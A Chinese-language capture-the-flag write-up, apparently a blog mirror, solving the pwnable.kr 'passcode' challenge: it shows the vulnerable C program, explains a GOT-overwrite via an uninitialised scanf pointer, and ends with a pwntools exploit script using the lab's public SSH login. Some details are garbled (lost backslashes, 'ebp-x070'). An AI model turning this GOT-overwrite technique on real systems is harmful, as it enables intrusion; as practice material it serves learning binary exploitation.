zoukankan      html  css  js  c++  java
  • pwnable.kr第五题:passcode

    0x000打开环境

     

     ①查看源码:

     1 #include 
     2 #include 
     3 
     4 void login(){
     5     int passcode1;
     6     int passcode2;
     7 
     8     printf("enter passcode1 : ");
     9     scanf("%d", passcode1);
    10     fflush(stdin);
    11 
    12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    13     printf("enter passcode2 : ");
    14         scanf("%d", passcode2);
    15 
    16     printf("checking...
    ");
    17     if(passcode1==338150 && passcode2==13371337){
    18                 printf("Login OK!
    ");
    19                 system("/bin/cat flag");
    20         }
    21         else{
    22                 printf("Login Failed!
    ");
    23         exit(0);
    24         }
    25 }
    26 
    27 void welcome(){
    28     char name[100];
    29     printf("enter you name : ");
    30     scanf("%100s", name);
    31     printf("Welcome %s!
    ", name);
    32 }
    33 
    34 int main(){
    35     printf("Toddler's Secure Login System 1.0 beta.
    ");
    36 
    37     welcome();
    38     login();
    39 
    40     // something after login...
    41     printf("Now I can safely trust you that you have credential :)
    ");
    42     return 0;    
    43 }

    tips:

    fflush(stdin)刷新标准输入缓冲区,把输入缓冲区里的东西丢弃[非标准]
    fflush(stdout)刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上

    ②源码分析

      从17行的”passcode1==338150 && passcode2==13371337  “,可以看出passcode1和passcode只要满足相应的条件就可以执行“system("/bin/cat flag");”但是仔细看看,9和14行发现参数没有&符号,说明这个是一个指针,不是一个地址,函数会从栈中获取4个字节,漏洞就在这里,

      反编译passcode文件,打印login函数,

      发现全程都没有入栈的操作,说明name和passcode1在同一个栈内,而passcode2是canary,不能动它,能动的就只有passcode1了,怎么才能执行system("/bin/cat flag");呢,看到puts@plt这个标识,可以试试got表覆写技术(个人理解就是存储函数地址的对照表,和plt表一 一对应)。看看got表:

     可以利用的函数有printf,fflush,exit,因为在login函数中都有调用这三个函数,利用got表覆盖写成system函数的地址,那么只要这个函数被调用就可以得到flag。

     
    0x001 漏洞的利用

      思路已经很清晰了,现在就是找到name的地址和passcode1的地址,计算他们之间的距离;printf/fflush/exit的入口地址;和system函数的地址。

     不难看出name的地址为ebp-x070

     passcode1的地址为ebp-0x10。

      name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址,他们的入口地址可通过如下命令查看:

    接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

    0x002 payload构造

    payload的构成96个任意字符,一个函数(printf/fflush/exit)的入口地址,system函数的地址

    python脚本如下:

    from pwn import *
    pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
    print (pwn_ssh.connected())
    sh=pwn_ssh.process(executable="./passcode")
    print (sh.recv())
    sh.sendline('A'*96+'x04xa0x04x08'+'134514135')
    print (sh.recvall())

  • 相关阅读:
    使用JQuery从客户端调用C#方法
    上传文件插件 Uploadify使用说明 转
    juqery 操作select
    XP下安装IIS6.0的办法 转
    更改2003远程桌面端口3389为其他端口号
    Web打印
    远程桌面 客户端无法建立跟远程计算机的连接 解决办法
    WPF的“.NET研究”消息机制(一) 让应用程序动起来 狼人:
    应用Visual Studio 2010辅“.NET研究”助敏捷测试(上) 狼人:
    ASP.NET调用.sql文件(二“.NET研究”) 狼人:
  • 原文地址:https://www.cnblogs.com/DennyT/p/11622413.html
Copyright © 2011-2022 走看看